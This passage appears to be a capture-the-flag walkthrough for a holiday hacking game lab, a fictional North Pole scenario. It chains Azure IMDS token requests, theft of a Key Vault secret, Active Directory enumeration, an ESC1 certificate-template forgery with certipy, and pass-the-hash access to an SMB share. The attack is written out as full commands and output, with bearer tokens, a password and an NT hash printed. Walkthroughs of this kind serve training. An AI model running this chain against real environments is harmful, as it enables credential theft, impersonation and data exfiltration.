GetADUsers.pyand retrieved user credentials to enumerate accounts in the domain - โ๏ธ Use
certipyand retrieved user credentials to locate a vulnerable certificate template - โ๏ธ Use
certipyto generate a certificate with the UPN[email protected]and use it to obtainwombleycubeโs hash - โ๏ธ Use
smbclient.pyto authenticate aswombleycubeand access thesuper_secret_researchshare
๐ฌ Ribb Bonbowford Conversation:
Hello, I'm Ribb Bonbowford. Nice to meet you!
Oh golly! It looks like Alabaster deployed some vulnerable Azure Function App Code he got from ChatNPT.
Don't get me wrong, I'm all for testing new technologies. The problem is that Alabaster didn't review the generated code and used the Geese Islands Azure production environment for his testing.
I'm worried because our Active Directory server is hosted there and Wombley Cube's research department uses one of its fileshares to store their sensitive files.
I'd love for you to help with auditing our Azure and Active Directory configuration and ensure there's no way to access the research department's data.
Since you have access to Alabaster's SSH account that means you're already in the Azure environment. Knowing Alabaster, there might even be some useful tools in place already.
๐ก Breakdown:
Sail west on Steampunk Island to reach Coggoggle Marina. Head east to find Ribb Bonbowford.
Talk to him to reveal the challenge takes place after SSHenanigans and involves getting the name of the secret file in the inaccessible folder on a file share. Connect back into the Azure environment as alabaster.
alabaster@ssh-server-vm:~/impacket$ ssh -i /root/Desktop/Kringlecon2023/.ssh/certificate2.pub -i /root/Desktop/Kringlecon2023/.ssh/id_rsa [email protected]
Request an Authorization token from the Azure IMDS.
curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fmanagement.azure.com%2F' -H Metadata:true -s|jq
Using the Authorization token with curl and the resources REST API endpoint, enumerate available resources.
alabaster@ssh-server-vm:~/impacket$ curl -s -H Metadata:true -H "Authorization:Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDIwOTc1NTAsIm5iZiI6MTcwMjA5NzU1MCwiZXhwIjoxNzAyMTg0MjUwLCJhaW8iOiJFMlZnWUZoOXltMEhxOFA2YnBHNks0ZEREZXZuQWdBPSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwicmgiOiIwLkFGRUEybzZqa0FaQTFVMlNUR3lsWEt6QlRVWklmM2tBdXRkUHVrUGF3ZmoyTUJQUUFBQS4iLCJzdWIiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJ0aWQiOiI5MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQiLCJ1dGkiOiJ2U1kxZHlCLTNrYTFkTWdwM01jbEFBIiwidmVyIjoiMS4wIiwieG1zX2F6X3JpZCI6Ii9zdWJzY3JpcHRpb25zLzJiMDk0MmYzLTliY2EtNDg0Yi1hNTA4LWFiZGFlMmRiNWU2NC9yZXNvdXJjZWdyb3Vwcy9ub3J0aHBvbGUtcmcxL3Byb3ZpZGVycy9NaWNyb3NvZnQuQ29tcHV0ZS92aXJ0dWFsTWFjaGluZXMvc3NoLXNlcnZlci12bSIsInhtc19jYWUiOiIxIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5NYW5hZ2VkSWRlbnRpdHkvdXNlckFzc2lnbmVkSWRlbnRpdGllcy9ub3J0aHBvbGUtc3NoLXNlcnZlci1pZGVudGl0eSIsInhtc190Y2R0IjoxNjk4NDE3NTU3fQ.g8UbmkwRY-LenQHSV5WrUDXoAMBxV7n9mIlYuHgprTOvWI1QLFj3Kvlll2zKEL_khCFJCJGyzu-18fLpzIgR6wtM0yZbeIaI87j_vhB6zxf78ri8DqauQCCTCJEfr-TR5fvkJvGv2AE_639mRrd0cWYgX8TyZK1F6c6Ax5LtmnR1ADuvlDi3oD5LRo_jD2D_KE0dTXwsrl_fsHXJ5bRegIlY3q0nizkEgM00R6_WMtHaApjHFlqYfGTAZHuvEctAH0jWeksL6onOKwVvMaVg5TkhcgCE3qRhy_cFe7R68u8HKqnpvDgKN7g6QAjMTgvJBJSC9OUFfI8MTjKs6WetYg" --noproxy "*" "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resources?api-version=2023-07-01"| jq
{
"value": [
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
"name": "northpole-it-kv",
"type": "Microsoft.KeyVault/vaults",
"location": "eastus",
"tags": {}
},
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-ssh-certs-kv",
"name": "northpole-ssh-certs-kv",
"type": "Microsoft.KeyVault/vaults",
"location": "eastus",
"tags": {}
}
]
}
Gather more information on the URI tied to the for northpole-it-kv vault.
alabaster@ssh-server-vm:~/impacket$ curl -s -H Metadata:true -H "Authorization:Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL21hbmFnZW1lbnQuYXp1cmUuY29tLyIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDIwOTc1NTAsIm5iZiI6MTcwMjA5NzU1MCwiZXhwIjoxNzAyMTg0MjUwLCJhaW8iOiJFMlZnWUZoOXltMEhxOFA2YnBHNks0ZEREZXZuQWdBPSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsImlkdHlwIjoiYXBwIiwib2lkIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwicmgiOiIwLkFGRUEybzZqa0FaQTFVMlNUR3lsWEt6QlRVWklmM2tBdXRkUHVrUGF3ZmoyTUJQUUFBQS4iLCJzdWIiOiI2MDBhM2JjOC03ZTJjLTQ0ZTUtOGEyNy0xOGMzZWI5NjMwNjAiLCJ0aWQiOiI5MGEzOGVkYS00MDA2LTRkZDUtOTI0Yy02Y2E1NWNhY2MxNGQiLCJ1dGkiOiJ2U1kxZHlCLTNrYTFkTWdwM01jbEFBIiwidmVyIjoiMS4wIiwieG1zX2F6X3JpZCI6Ii9zdWJzY3JpcHRpb25zLzJiMDk0MmYzLTliY2EtNDg0Yi1hNTA4LWFiZGFlMmRiNWU2NC9yZXNvdXJjZWdyb3Vwcy9ub3J0aHBvbGUtcmcxL3Byb3ZpZGVycy9NaWNyb3NvZnQuQ29tcHV0ZS92aXJ0dWFsTWFjaGluZXMvc3NoLXNlcnZlci12bSIsInhtc19jYWUiOiIxIiwieG1zX21pcmlkIjoiL3N1YnNjcmlwdGlvbnMvMmIwOTQyZjMtOWJjYS00ODRiLWE1MDgtYWJkYWUyZGI1ZTY0L3Jlc291cmNlZ3JvdXBzL25vcnRocG9sZS1yZzEvcHJvdmlkZXJzL01pY3Jvc29mdC5NYW5hZ2VkSWRlbnRpdHkvdXNlckFzc2lnbmVkSWRlbnRpdGllcy9ub3J0aHBvbGUtc3NoLXNlcnZlci1pZGVudGl0eSIsInhtc190Y2R0IjoxNjk4NDE3NTU3fQ.g8UbmkwRY-LenQHSV5WrUDXoAMBxV7n9mIlYuHgprTOvWI1QLFj3Kvlll2zKEL_khCFJCJGyzu-18fLpzIgR6wtM0yZbeIaI87j_vhB6zxf78ri8DqauQCCTCJEfr-TR5fvkJvGv2AE_639mRrd0cWYgX8TyZK1F6c6Ax5LtmnR1ADuvlDi3oD5LRo_jD2D_KE0dTXwsrl_fsHXJ5bRegIlY3q0nizkEgM00R6_WMtHaApjHFlqYfGTAZHuvEctAH0jWeksL6onOKwVvMaVg5TkhcgCE3qRhy_cFe7R68u8HKqnpvDgKN7g6QAjMTgvJBJSC9OUFfI8MTjKs6WetYg" --noproxy "*" "https://management.azure.com/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv?api-version=2023-07-01"| jq
{
"id": "/subscriptions/2b0942f3-9bca-484b-a508-abdae2db5e64/resourceGroups/northpole-rg1/providers/Microsoft.KeyVault/vaults/northpole-it-kv",
"name": "northpole-it-kv",
"type": "Microsoft.KeyVault/vaults",
"location": "eastus",
"tags": {},
"systemData": {
"createdBy": "[email protected]",
"createdByType": "User",
"createdAt": "2023-10-30T13:17:02.532Z",
"lastModifiedBy": "[email protected]",
"lastModifiedByType": "User",
"lastModifiedAt": "2023-10-30T13:17:02.532Z"
},
"properties": {
"sku": {
"family": "A",
"name": "Standard"
},
"tenantId": "90a38eda-4006-4dd5-924c-6ca55cacc14d",
"accessPolicies": [],
"enabledForDeployment": false,
"enabledForDiskEncryption": false,
"enabledForTemplateDeployment": false,
"enableSoftDelete": true,
"softDeleteRetentionInDays": 90,
"enableRbacAuthorization": true,
"vaultUri": "https://northpole-it-kv.vault.azure.net/",
"provisioningState": "Succeeded",
"publicNetworkAccess": "Enabled"
}
}
Request a new Authorization token for vault.azure.net.
alabaster@ssh-server-vm:~/impacket$ curl 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https%3A%2F%2Fvault.azure.net' -H Metadata:true -s|jq
{
"access_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL3ZhdWx0LmF6dXJlLm5ldCIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDIwOTg0NTQsIm5iZiI6MTcwMjA5ODQ1NCwiZXhwIjoxNzAyMTg1MTU0LCJhaW8iOiJFMlZnWUhqYThTRkc1WSt5RTA5NTRxUVVUNzhBQUE9PSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsIm9pZCI6IjYwMGEzYmM4LTdlMmMtNDRlNS04YTI3LTE4YzNlYjk2MzA2MCIsInJoIjoiMC5BRkVBMm82amtBWkExVTJTVEd5bFhLekJUVG16cU0taWdocEhvOGtQd0w1NlFKUFFBQUEuIiwic3ViIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwidGlkIjoiOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkIiwidXRpIjoiWWVkcG93TkRyRXVqQ0FLNkpFYUlBQSIsInZlciI6IjEuMCIsInhtc19hel9yaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0LkNvbXB1dGUvdmlydHVhbE1hY2hpbmVzL3NzaC1zZXJ2ZXItdm0iLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0Lk1hbmFnZWRJZGVudGl0eS91c2VyQXNzaWduZWRJZGVudGl0aWVzL25vcnRocG9sZS1zc2gtc2VydmVyLWlkZW50aXR5In0.qeJLnMeeuSEC8dSBiuh_pgILTxIygvRuDIoRsCpaQzGD9oMQ8eGCT1R4DjoGpqhapIjQ3Xb9_T0dp3YcDVujJ880mXGSKtdsl_PF5D7Z-ZmWlNGP70DCUFwpjY-KktVHm6L4x6jUBOx1gz8QyFvqTdx9IGPXIWr7ro4_Bn2LQF2rreMrY5L2lTS-RIIJWf0z0OAjP6zqKGwbbeTNB2p9dDrfaE9vSaVStt2-pzvB6onmlilVl1USTQ6iaDWqvutrP8pdRQs4h3FGr_jQ-sV58_hIhgvanXQ9FTnOdAEHQRHabHjPnlqKi_658iKHmdtgV9X0zCjg0dr8pOzMEnzDrw",
"client_id": "b84e06d3-aba1-4bcc-9626-2e0d76cba2ce",
"expires_in": "84498",
"expires_on": "1702185154",
"ext_expires_in": "86399",
"not_before": "1702098454",
"resource": "https://vault.azure.net",
"token_type": "Bearer"
}
Using the secrets REST API endpoint, enumerate the tmpAddUserScript secret.
alabaster@ssh-server-vm:~/impacket$ curl -s -H Metadata:true -H "Authorization:Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL3ZhdWx0LmF6dXJlLm5ldCIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDIwOTg0NTQsIm5iZiI6MTcwMjA5ODQ1NCwiZXhwIjoxNzAyMTg1MTU0LCJhaW8iOiJFMlZnWUhqYThTRkc1WSt5RTA5NTRxUVVUNzhBQUE9PSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsIm9pZCI6IjYwMGEzYmM4LTdlMmMtNDRlNS04YTI3LTE4YzNlYjk2MzA2MCIsInJoIjoiMC5BRkVBMm82amtBWkExVTJTVEd5bFhLekJUVG16cU0taWdocEhvOGtQd0w1NlFKUFFBQUEuIiwic3ViIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwidGlkIjoiOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkIiwidXRpIjoiWWVkcG93TkRyRXVqQ0FLNkpFYUlBQSIsInZlciI6IjEuMCIsInhtc19hel9yaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0LkNvbXB1dGUvdmlydHVhbE1hY2hpbmVzL3NzaC1zZXJ2ZXItdm0iLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0Lk1hbmFnZWRJZGVudGl0eS91c2VyQXNzaWduZWRJZGVudGl0aWVzL25vcnRocG9sZS1zc2gtc2VydmVyLWlkZW50aXR5In0.qeJLnMeeuSEC8dSBiuh_pgILTxIygvRuDIoRsCpaQzGD9oMQ8eGCT1R4DjoGpqhapIjQ3Xb9_T0dp3YcDVujJ880mXGSKtdsl_PF5D7Z-ZmWlNGP70DCUFwpjY-KktVHm6L4x6jUBOx1gz8QyFvqTdx9IGPXIWr7ro4_Bn2LQF2rreMrY5L2lTS-RIIJWf0z0OAjP6zqKGwbbeTNB2p9dDrfaE9vSaVStt2-pzvB6onmlilVl1USTQ6iaDWqvutrP8pdRQs4h3FGr_jQ-sV58_hIhgvanXQ9FTnOdAEHQRHabHjPnlqKi_658iKHmdtgV9X0zCjg0dr8pOzMEnzDrw" "https://northpole-it-kv.vault.azure.net/secrets?api-version=7.4"|jq .
{
"value": [
{
"id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript",
"attributes": {
"enabled": true,
"created": 1699564823,
"updated": 1699564823,
"recoveryLevel": "Recoverable+Purgeable",
"recoverableDays": 90
},
"tags": {}
}
],
"nextLink": null
}
View the tmpAddUserScript secret to reveal user credentials.
alabaster@ssh-server-vm:~/impacket$ curl -s -H Metadata:true -H "Authorization:Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSIsImtpZCI6IlQxU3QtZExUdnlXUmd4Ql82NzZ1OGtyWFMtSSJ9.eyJhdWQiOiJodHRwczovL3ZhdWx0LmF6dXJlLm5ldCIsImlzcyI6Imh0dHBzOi8vc3RzLndpbmRvd3MubmV0LzkwYTM4ZWRhLTQwMDYtNGRkNS05MjRjLTZjYTU1Y2FjYzE0ZC8iLCJpYXQiOjE3MDIwOTg0NTQsIm5iZiI6MTcwMjA5ODQ1NCwiZXhwIjoxNzAyMTg1MTU0LCJhaW8iOiJFMlZnWUhqYThTRkc1WSt5RTA5NTRxUVVUNzhBQUE9PSIsImFwcGlkIjoiYjg0ZTA2ZDMtYWJhMS00YmNjLTk2MjYtMmUwZDc2Y2JhMmNlIiwiYXBwaWRhY3IiOiIyIiwiaWRwIjoiaHR0cHM6Ly9zdHMud2luZG93cy5uZXQvOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkLyIsIm9pZCI6IjYwMGEzYmM4LTdlMmMtNDRlNS04YTI3LTE4YzNlYjk2MzA2MCIsInJoIjoiMC5BRkVBMm82amtBWkExVTJTVEd5bFhLekJUVG16cU0taWdocEhvOGtQd0w1NlFKUFFBQUEuIiwic3ViIjoiNjAwYTNiYzgtN2UyYy00NGU1LThhMjctMThjM2ViOTYzMDYwIiwidGlkIjoiOTBhMzhlZGEtNDAwNi00ZGQ1LTkyNGMtNmNhNTVjYWNjMTRkIiwidXRpIjoiWWVkcG93TkRyRXVqQ0FLNkpFYUlBQSIsInZlciI6IjEuMCIsInhtc19hel9yaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0LkNvbXB1dGUvdmlydHVhbE1hY2hpbmVzL3NzaC1zZXJ2ZXItdm0iLCJ4bXNfbWlyaWQiOiIvc3Vic2NyaXB0aW9ucy8yYjA5NDJmMy05YmNhLTQ4NGItYTUwOC1hYmRhZTJkYjVlNjQvcmVzb3VyY2Vncm91cHMvbm9ydGhwb2xlLXJnMS9wcm92aWRlcnMvTWljcm9zb2Z0Lk1hbmFnZWRJZGVudGl0eS91c2VyQXNzaWduZWRJZGVudGl0aWVzL25vcnRocG9sZS1zc2gtc2VydmVyLWlkZW50aXR5In0.qeJLnMeeuSEC8dSBiuh_pgILTxIygvRuDIoRsCpaQzGD9oMQ8eGCT1R4DjoGpqhapIjQ3Xb9_T0dp3YcDVujJ880mXGSKtdsl_PF5D7Z-ZmWlNGP70DCUFwpjY-KktVHm6L4x6jUBOx1gz8QyFvqTdx9IGPXIWr7ro4_Bn2LQF2rreMrY5L2lTS-RIIJWf0z0OAjP6zqKGwbbeTNB2p9dDrfaE9vSaVStt2-pzvB6onmlilVl1USTQ6iaDWqvutrP8pdRQs4h3FGr_jQ-sV58_hIhgvanXQ9FTnOdAEHQRHabHjPnlqKi_658iKHmdtgV9X0zCjg0dr8pOzMEnzDrw" "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript?api-version=7.4"|jq .
{
"value": "Import-Module ActiveDirectory; $UserName = \"elfy\"; $UserDomain = \"northpole.local\"; $UserUPN = \"$UserName@$UserDomain\"; $Password = ConvertTo-SecureString \"J4`ufC49/J4766\" -AsPlainText -Force; $DCIP = \"10.0.0.53\"; New-ADUser -UserPrincipalName $UserUPN -Name $UserName -GivenName $UserName -Surname \"\" -Enabled $true -AccountPassword $Password -Server $DCIP -PassThru",
"id": "https://northpole-it-kv.vault.azure.net/secrets/tmpAddUserScript/ec4db66008024699b19df44f5272248d",
"attributes": {
"enabled": true,
"created": 1699564823,
"updated": 1699564823,
"recoveryLevel": "Recoverable+Purgeable",
"recoverableDays": 90
},
"tags": {}
}
Using the credentials and Impacketโs GetADUsers.py script, authenticate to the domain controller (DC) and enumerate users in the domain.
alabaster@ssh-server-vm:~/impacket$ GetADUsers.py -all northpole.local/elfy:J4\`ufC49/J4766 -dc-ip 10.0.0.53
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Querying 10.0.0.53 for information about domain.
Name Email PasswordLastSet LastLogon
-------------------- ------------------------------ ------------------- -------------------
alabaster 2023-12-10 01:03:20.201036 2023-12-10 17:47:02.203449
Guest <never> <never>
krbtgt 2023-12-10 01:10:48.599596 <never>
elfy 2023-12-10 01:12:50.495758 2023-12-10 20:05:38.730639
wombleycube 2023-12-10 01:12:50.605198 2023-12-10 23:44:14.499038
Given wombleycube is the only other domain user outside of default accounts, target this user. Using certipy look for any vulnerable certificate templates which could be abused.
alabaster@ssh-server-vm:~/impacket$ certipy find -vulnerable -u elfy -p J4\`ufC49/J4766 -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 34 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via CSRA
[!] Got error while trying to get CA configuration for 'northpole-npdc01-CA' via CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access denied error.
[*] Trying to get CA configuration for 'northpole-npdc01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Got CA configuration for 'northpole-npdc01-CA'
[*] Saved BloodHound data to '20231210234835_Certipy.zip'. Drag and drop the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20231210234835_Certipy.txt'
[*] Saved JSON output to '20231210234835_Certipy.json'
alabaster@ssh-server-vm:~/impacket$ cat 20231210234835_Certipy.json
{
"Certificate Authorities": {
"0": {
"CA Name": "northpole-npdc01-CA",
"DNS Name": "npdc01.northpole.local",
"Certificate Subject": "CN=northpole-npdc01-CA, DC=northpole, DC=local",
"Certificate Serial Number": "4275343F32DA99874CCB74F06E5CD532",
"Certificate Validity Start": "2023-12-10 01:05:33+00:00",
"Certificate Validity End": "2028-12-10 01:15:33+00:00",
"Web Enrollment": "Disabled",
"User Specified SAN": "Disabled",
"Request Disposition": "Issue",
"Enforce Encryption for Requests": "Enabled",
"Permissions": {
"Owner": "NORTHPOLE.LOCAL\\Administrators",
"Access Rights": {
"2": [
"NORTHPOLE.LOCAL\\Administrators",
"NORTHPOLE.LOCAL\\Domain Admins",
"NORTHPOLE.LOCAL\\Enterprise Admins"
],
"1": [
"NORTHPOLE.LOCAL\\Administrators",
"NORTHPOLE.LOCAL\\Domain Admins",
"NORTHPOLE.LOCAL\\Enterprise Admins"
],
"512": [
"NORTHPOLE.LOCAL\\Authenticated Users"
]
}
}
}
},
"Certificate Templates": {
"0": {
"Template Name": "NorthPoleUsers",
"Display Name": "NorthPoleUsers",
"Certificate Authorities": [
"northpole-npdc01-CA"
],
"Enabled": true,
"Client Authentication": true,
"Enrollment Agent": false,
"Any Purpose": false,
"Enrollee Supplies Subject": true,
"Certificate Name Flag": [
"EnrolleeSuppliesSubject"
],
"Enrollment Flag": [
"PublishToDs",
"IncludeSymmetricAlgorithms"
],
"Private Key Flag": [
"ExportableKey"
],
"Extended Key Usage": [
"Encrypting File System",
"Secure Email",
"Client Authentication"
],
"Requires Manager Approval": false,
"Requires Key Archival": false,
"Authorized Signatures Required": 0,
"Validity Period": "1 year",
"Renewal Period": "6 weeks",
"Minimum RSA Key Length": 2048,
"Permissions": {
"Enrollment Permissions": {
"Enrollment Rights": [
"NORTHPOLE.LOCAL\\Domain Admins",
"NORTHPOLE.LOCAL\\Domain Users",
"NORTHPOLE.LOCAL\\Enterprise Admins"
]
},
"Object Control Permissions": {
"Owner": "NORTHPOLE.LOCAL\\Enterprise Admins",
"Write Owner Principals": [
"NORTHPOLE.LOCAL\\Domain Admins",
"NORTHPOLE.LOCAL\\Enterprise Admins"
],
"Write Dacl Principals": [
"NORTHPOLE.LOCAL\\Domain Admins",
"NORTHPOLE.LOCAL\\Enterprise Admins"
],
"Write Property Principals": [
"NORTHPOLE.LOCAL\\Domain Admins",
"NORTHPOLE.LOCAL\\Enterprise Admins"
]
}
},
"[!] Vulnerabilities": {
"ESC1": "'NORTHPOLE.LOCAL\\\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication"
}
}
}
}
This reveals a certificate template NorthPoleUsers that is vulnerable to ESC1 - Misconfigured Certificate Templates Allows requesters to specify a SAN. Modifying the syntax of certipy slightly, use the previously obtained valid credentials to request a certificate for the principal name [email protected] that will allow authentication as that user.
alabaster@ssh-server-vm:~/impacket$ certipy req -u 'elfy' -ca northpole-npdc01-CA -template 'NorthPoleUsers' -upn '[email protected]' -target 10.0.0.53 -p J4\`ufC49/J4766
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Successfully requested certificate
[*] Request ID is 90
[*] Got certificate with UPN '[email protected]'
[*] Certificate has no object SID
[*] Saved certificate and private key to 'wombleycube.pfx'
Using certipy authenticate as [email protected] to obtain the NT user hash.
alabaster@ssh-server-vm:~/impacket$ certipy auth -pfx wombleycube.pfx -dc-ip 10.0.0.53
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: [email protected]
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'wombleycube.ccache'
[*] Trying to retrieve NT hash for 'wombleycube'
[*] Got hash for '[email protected]': aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23
Using smbclient.py connect to the file share (also located on the DC) as wombleycube.
Exfiltrate all files for intelligence purposes.
smbclient.py northpole/[email protected] -hashes aad3b435b51404eeaad3b435b51404ee:5740373231597863662f6d50484d3e23
# use FileShare
# ls
drw-rw-rw- 0 Sun Dec 10 01:13:44 2023 .
drw-rw-rw- 0 Sun Dec 10 01:13:41 2023 ..
-rw-rw-rw- 701028 Sun Dec 10 01:13:44 2023 Cookies.pdf
-rw-rw-rw- 1521650 Sun Dec 10 01:13:44 2023 Cookies_Recipe.pdf
-rw-rw-rw- 54096 Sun Dec 10 01:13:44 2023 SignatureCookies.pdf
drw-rw-rw- 0 Sun Dec 10 01:13:44 2023 super_secret_research
-rw-rw-rw- 165 Sun Dec 10 01:13:44 2023 todo.txt
# mget *
[*] Downloading Cookies.pdf
[*] Downloading Cookies_Recipe.pdf
[*] Downloading SignatureCookies.pdf
[*] Downloading todo.txt
# exit
This includes retrieving the file named InstructionsForEnteringSatelliteGroundStation.txt which is the answer.
The file itself will be required for the following challenge and needs to be examined.
mget *
[*] Downloading InstructionsForEnteringSatelliteGroundStation.txt
# exit
alabaster@ssh-server-vm:~/impacket$ cat InstructionsForEnteringSatelliteGroundStation.txt
Note to self:
To enter the Satellite Ground Station (SGS), say the following into the speaker:
And he whispered, 'Now I shall be out of sight;
So through the valley and over the height.'
And he'll silently take his way.
๐ Space Island Door Access Speaker ๐๐๐
๐ Objective: Thereโs a door that needs opening on Space Island! Talk to Jewel Loggins there for more information.
โต Destination: Space Island (Spaceport Point)
โ๏ธ Solution: Use AI to fake the voice of Wombley Cube and say a passphrase.
- โ๏ธ Sail west towards
Space Islandand dock atSpaceport Pointon the foot of the island - โ๏ธ Head north to find
Jewel Logginsand theSpace Island Access Speaker - โ๏ธ Discover that in addition to the retrieved passphrase, it needs to also be said by
Wombley Cube - โ๏ธ Quick travel to
Chiaroscuro CityonFilm Noir Islandto findWombley Cubeand talk to him to retrievewombleycube_the_enchanted_voyage.mp3 - โ๏ธ Using a
